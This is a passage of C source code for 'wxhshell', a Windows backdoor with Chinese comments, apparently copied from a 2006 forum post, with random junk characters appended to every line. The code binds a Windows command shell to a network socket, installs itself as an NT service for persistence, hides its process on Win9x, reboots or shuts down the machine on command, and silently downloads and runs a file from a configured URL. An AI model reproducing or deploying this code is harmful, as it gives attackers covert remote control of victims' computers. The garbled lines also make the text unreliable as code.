  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kan?2x  
  } ?#F}mOVAa  
  else { 8oI)q4V  
,+0>p  
    switch(cmd[0]) { Z8 \c'xN  
  $ ]/a/!d  
  // 帮助 ,B>Rc#  
  case '?': { '1{#I/P;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *g$egipfF  
    break; ER:)Fk>_  
  } ?)9mHo^  
  // 安装 ;!(.hCHvr  
  case 'i': {  *$nz<?  
    if(Install()) t:m2[U_}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L0{ehpvM  
    else pq`Bg`c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'l$<DcBj  
    break; |BD]K0  
    } 5b_[f(  
  // 卸载 =N-,.{`  
  case 'r': { ,c:Fa)-  
    if(Uninstall()) pU`4bT(w%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s9 '*Vm  
    else |C9qM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K[ZgT$zZ  
    break; z T|]!',  
    } t 7D2k2x9  
  // 显示 wxhshell 所在路径 .S&S#}$/]  
  case 'p': { 1MdVWFKXV  
    char svExeFile[MAX_PATH]; 1!RD kZw e  
    strcpy(svExeFile,"\n\r"); `vJ+ sRf  
      strcat(svExeFile,ExeFile); %=J<WA6\  
        send(wsh,svExeFile,strlen(svExeFile),0); a_5`9BL  
    break; WP1>)  
    } h5 Y3 v  
  // 重启 !*wK4UcX"  
  case 'b': { I(r^q"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KOWxP47b  
    if(Boot(REBOOT)) rt5UT~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ': Gk~   
    else { _p vL b  
    closesocket(wsh); >a98 H4  
    ExitThread(0); -`6O(he  
    } 94L P )n  
    break; 4 Yq|Z  
    } Sk@~}  
  // 关机 _N~h#(  
  case 'd': { fSdv%$;Hc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kWL\JDZ`.  
    if(Boot(SHUTDOWN)) LQSno)OZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;p%a!Im_ <  
    else { 8Pklw^k   
    closesocket(wsh); 1c S{3  
    ExitThread(0); JpDc3^B*  
    } xKz^J SF  
    break; F7^d@hSV  
    } vyT$IdV2  
  // 获取shell Y;>0)eP  
  case 's': { 5:SfPAx  
    CmdShell(wsh); 6Gjr8  
    closesocket(wsh); +vfk+6  
    ExitThread(0); @AL,@P/9=  
    break; <#ujm fD  
  } o Wg5-pMWZ  
  // 退出 C,-q2ry  
  case 'x': { N4"%!.Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s,ZJ?[/  
    CloseIt(wsh); 0Ph,E   
    break; ,dKcxp~[  
    } *nDyB. (  
  // 离开 GOHRBV  
  case 'q': { iUqL /  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d;|Pp;dc  
    closesocket(wsh); +r9:n(VP  
    WSACleanup(); DGdSu6s$  
    exit(1); [|V<e+>T/  
    break; he&*N*of:  
        } a;m-Vu!  
  } mKynp  
  } ro7\}O:I  
GEy^*, d  
  // 提示信息 NMmk,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R`Hyg4?  
} Z<z(;)?c  
  } 31k.{dnm  
Lm"l*j4  
  return; ~:Dr]kt  
} +LV~%?W  
om$)8'A,l  
// shell模块句柄 ?AX./LI  
int CmdShell(SOCKET sock) JC}y{R8  
{ 8vK Z;  
STARTUPINFO si; $d%m%SZxv  
ZeroMemory(&si,sizeof(si)); 8$-(%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; He. gl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6~V$0Y>]  
PROCESS_INFORMATION ProcessInfo; uG&xtN8  
char cmdline[]="cmd"; _!H{\kU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XKLkJZN  
  return 0; 0Z8K+,'!  
} GUE 3|  
)U e9:e  
// 自身启动模式 "zL<:TQ"  
int StartFromService(void) i}N'W V`!  
{ Xa\{WM==;  
typedef struct i[H`u,%+(  
{ { :'#Ts<  
  DWORD ExitStatus; R @b[o7/  
  DWORD PebBaseAddress; 4]u53`  
  DWORD AffinityMask; ])egke\!  
  DWORD BasePriority; E(*RtOC<W  
  ULONG UniqueProcessId; J7/"8S_#N  
  ULONG InheritedFromUniqueProcessId; L|EvI.f  
}   PROCESS_BASIC_INFORMATION; R8Nr3M9 )  
y|Tb&XPD  
PROCNTQSIP NtQueryInformationProcess; +DaP XZ5.  
%fnL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '@i/?rNi%N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2G<\Wz  
nAG2!2_8  
  HANDLE             hProcess; ?<bByxa  
  PROCESS_BASIC_INFORMATION pbi; lX/s Q  
%WiDz0o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }&Ngh4/  
  if(NULL == hInst ) return 0; e<6fe-g9;  
L,M=ogdb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W~2`o*\l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "VR>nyG%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kL\ FY  
n|sP0,$N1  
  if (!NtQueryInformationProcess) return 0; ET;YAa*  
IWERn v!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FY+0r67]  
  if(!hProcess) return 0; 0sM{yGu=,  
"bZ%1)+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fmrd 7*MW  
1`J-|eH=Q  
  CloseHandle(hProcess); ad1I2  
?-%Q[W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3 5;|r  
if(hProcess==NULL) return 0; 8'[g?  
EKo!vie G  
HMODULE hMod; L"{qF<@V7&  
char procName[255]; rT7W_[&P  
unsigned long cbNeeded; KM li!.(b  
Lgp{  hK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9"hH2jc  
7.mY@  
  CloseHandle(hProcess); p^QZGu-.W  
V,:^@ 7d  
if(strstr(procName,"services")) return 1; // 以服务启动 HO[W2b  
@i2"+_}*  
  return 0; // 注册表启动 .UX`@Q:Gp  
} 36"-cGNr{  
l7#5.%A  
// 主模块 eA q/[(  
int StartWxhshell(LPSTR lpCmdLine) S v3O${B|  
{ @9#l3  
  SOCKET wsl; -#@l`kt  
BOOL val=TRUE; !2L?8oP-z  
  int port=0; -wn ,7;  
  struct sockaddr_in door; >}<1  
1OI/!!t1$  
  if(wscfg.ws_autoins) Install(); =T"R_3[NC  
3 UUOB.  
port=atoi(lpCmdLine); )&/ecx"2Q  
$O nh2 ^  
if(port<=0) port=wscfg.ws_port; EZs"?A  
V'b$P2 ?^  
  WSADATA data; +/O3L=QyJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EPeKg{w  
FgwIOpqE*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `>ppDQaS)W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4# +i\H`  
  door.sin_family = AF_INET; phCItN;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [vv $"$z  
  door.sin_port = htons(port); hp|.hN(kS]  
|WP}y- Au  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ymvd3>_  
closesocket(wsl); B^;"<2b*  
return 1; L5[{taZ,  
} a gk w)#  
j!c~%hP  
  if(listen(wsl,2) == INVALID_SOCKET) { +H{TV#+r  
closesocket(wsl); XXD LbT'J  
return 1; jouA ]E  
} jK^Q5iD  
  Wxhshell(wsl); ]`eP"U{  
  WSACleanup(); :+ZLKm  
Oa.84a  
return 0; X'uQr+p^  
B6kc9XG  
} S( ^HIJK  
%6.WGuO  
// 以NT服务方式启动 q-hREO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -DuI 6K  
{ ]?G|:Kx$y%  
DWORD   status = 0; *fCmZ$U:{  
  DWORD   specificError = 0xfffffff; MxgJ+  
x^zw1e,y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Sx8RH),k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xyD2<?dGUb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^UCH+C yl  
  serviceStatus.dwWin32ExitCode     = 0; }el7@Gv  
  serviceStatus.dwServiceSpecificExitCode = 0; d{J@A;d a  
  serviceStatus.dwCheckPoint       = 0; ~^TH5n  
  serviceStatus.dwWaitHint       = 0; 6H1;Hl f  
r;^%D(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N7u|< 0[  
  if (hServiceStatusHandle==0) return; $b~[>S-Q  
9.%t9RM^  
status = GetLastError(); ^H0#2hFa  
  if (status!=NO_ERROR) >PzZt8e  
{ ?W>`skQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,j6 R/sg  
    serviceStatus.dwCheckPoint       = 0; lc8g$Xw3  
    serviceStatus.dwWaitHint       = 0; fK^W6)uuV  
    serviceStatus.dwWin32ExitCode     = status;  + \]-"  
    serviceStatus.dwServiceSpecificExitCode = specificError; uBK0+FLL@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PN3 Qxi4F  
    return; ]Cs=EZr  
  } d6a3\f  
Xs{PAS0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Uc,MZV4  
  serviceStatus.dwCheckPoint       = 0; !w}b}+]GB  
  serviceStatus.dwWaitHint       = 0; "F =NDF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A`#?Bj   
} @eM$S5&n$  
H:|.e)$i  
// 处理NT服务事件,比如:启动、停止 ,5V6=pr$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "=w:LRw  
{ ,CI-IR2  
switch(fdwControl) BhYvEbt  
{ xL*J9&~iG  
case SERVICE_CONTROL_STOP: ?nPG#Z|%  
  serviceStatus.dwWin32ExitCode = 0; cQ]c!G|a4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `Se2f0",  
  serviceStatus.dwCheckPoint   = 0; gW<6dP'v  
  serviceStatus.dwWaitHint     = 0; DZ @B9<Zz{  
  { dl"=ZI '^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9%Tqk"x?  
  } Y=4 7se=h"  
  return; b*Q3j}cZ  
case SERVICE_CONTROL_PAUSE: R[14scV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o l41%q*  
  break; sE'c$H  
case SERVICE_CONTROL_CONTINUE: tfe]=_U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c9G%;U)  
  break; ZY8w1:'  
case SERVICE_CONTROL_INTERROGATE: !uoT8BBAk  
  break; W+GC3W   
}; +SF+$^T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I`(53LCqo  
} ImG8v[Q E  
&TY74 w*  
// 标准应用程序主函数 5'NNwc\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2Mk;r*FT  
{ v$0|\)E)  
7)]boW~Q  
// 获取操作系统版本 :'B(DzUR  
OsIsNt=GetOsVer(); xxyc^\$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pbEWnx_  
5q*s_acQ  
  // 从命令行安装 :A z lls  
  if(strpbrk(lpCmdLine,"iI")) Install(); Pc*lHoVL  
.Sn{a }XP4  
  // 下载执行文件 ?$K-f:?c  
if(wscfg.ws_downexe) { r-wCAk}m*?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z]r'8Jc  
  WinExec(wscfg.ws_filenam,SW_HIDE); .SjJG67OyA  
} <!g]q1  
T 5Zh2Q@  
if(!OsIsNt) { Y ~g\peG7  
// 如果时win9x,隐藏进程并且设置为注册表启动 vRH^en  
HideProc(); lHtywZ@%3  
StartWxhshell(lpCmdLine); 4VZI]3K,  
} ;YR /7  
else 6FNGyvBU  
  if(StartFromService()) ?5J# yn  
  // 以服务方式启动 sBB[u'h!  
  StartServiceCtrlDispatcher(DispatchTable); g kO^J{_@q  
else W]#w4Fp!  
  // 普通方式启动 -'g> i  
  StartWxhshell(lpCmdLine); :Bmn<2[Y;  
ed`"xm  
return 0; p~@,zetS  
}
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只看该作者 1 发表于: 2006-10-10
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